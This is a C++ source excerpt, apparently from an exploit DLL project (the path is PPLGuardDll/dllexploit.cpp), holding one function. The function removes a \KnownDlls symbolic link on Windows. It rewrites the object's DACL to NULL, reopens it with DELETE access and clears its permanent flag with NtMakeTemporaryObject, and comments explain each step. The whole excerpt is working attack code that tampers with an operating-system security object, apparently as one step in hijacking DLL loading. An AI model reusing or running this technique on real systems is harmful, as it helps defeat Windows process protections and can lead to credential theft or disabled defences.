in PPLGuardDll/dllexploit.cpp [192:325]
BOOL DeleteKnownDllEntry(LPCWSTR pwszDllName)
{
BOOL bReturnValue = FALSE;
NTSTATUS status = 0;
HANDLE hLink = NULL;
LPWSTR pwszLinkPath = NULL;
UNICODE_STRING name = { 0 };
OBJECT_ATTRIBUTES oa = { 0 };
SECURITY_DESCRIPTOR sd = { 0 };
SECURITY_ATTRIBUTES sa = { 0 };
//
// Build the path of the symbolic link object to delete. The name of the DLL can be determined
// at runtime by invoking 'GetCurrentDllFileName'. The final path will be something such as
// '\KnownDlls\DPAPI.dll'.
//
pwszLinkPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
if (!pwszLinkPath)
goto end;
StringCchPrintf(pwszLinkPath, MAX_PATH, L"\\KnownDlls\\%ws", pwszDllName);
if (g_bDebug)
LogToConsole(L"Object to delete: %ws\n", pwszLinkPath);
RtlInitUnicodeString(&name, pwszLinkPath);
InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
//
// Here we want to call NtOpenSymbolicLinkObject with DELETE access because we want to delete
// the link. Unfortunately, the inherited ACL does not grant us this right and we will thus
// get an "Access denied" error. What we can do though is open the symbolic link object with
// WRITE_DAC access in order to change the ACL of the object.
//
status = NtOpenSymbolicLinkObject(&hLink, WRITE_DAC, &oa);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
LogLastError(L"NtOpenSymbolicLinkObject");
goto end;
}
if (g_bDebug)
LogToConsole(L"NtOpenSymbolicLinkObject('%ws', WRITE_DAC) OK\n", pwszLinkPath);
//
// Prepare the Security Descriptor. Here we will just use a NULL DACL. This will give everyone
// access to the object but that's not really an issue because we'll delete it right after.
//
InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
#pragma warning( suppress : 6248 ) // Disable warning as setting a NULL DACL is intentional here
if (!SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE))
{
LogLastError(L"SetSecurityDescriptorDacl");
}
sa.nLength = sizeof(sa);
sa.bInheritHandle = FALSE;
sa.lpSecurityDescriptor = &sd;
//
// Apply the new Security Descriptor.
//
if (!SetKernelObjectSecurity(hLink, DACL_SECURITY_INFORMATION, &sd))
{
LogLastError(L"SetKernelObjectSecurity");
goto end;
}
if (g_bDebug)
LogToConsole(L"SetKernelObjectSecurity OK\n");
//
// At this point we can close the object handle because only the WRITE_DAC right is associated
// to it. This handle will not allow us to delete the object.
//
status = NtClose(hLink);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
LogLastError(L"NtClose");
goto end;
}
if (g_bDebug)
LogToConsole(L"NtClose OK\n");
//
// This time, we should be able to open the link object with DELETE access.
//
status = NtOpenSymbolicLinkObject(&hLink, DELETE, &oa);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
LogLastError(L"NtOpenSymbolicLinkObject");
goto end;
}
if (g_bDebug)
LogToConsole(L"NtOpenSymbolicLinkObject('%ws', DELETE) OK\n", pwszLinkPath);
//
// Now, we can invoke NtMakeTemporaryObject to disable the "Permanent" flag of the object. When
// an object does not have the "Permanent" flag enabled, it is automatically deleted when all
// its handles are closed.
//
status = NtMakeTemporaryObject(hLink);
SetLastError(RtlNtStatusToDosError(status));
if (status != 0)
{
LogLastError(L"NtMakeTemporaryObject");
goto end;
}
if (g_bDebug)
LogToConsole(L"NtMakeTemporaryObject OK\n");
bReturnValue = status == STATUS_SUCCESS;
//
// We should be the only process to have an opened handle on this object. So, if we close it,
// the link should be automatically deleted.
//
end:
if (hLink)
NtClose(hLink);
if (pwszLinkPath)
LocalFree(pwszLinkPath);
return bReturnValue;
}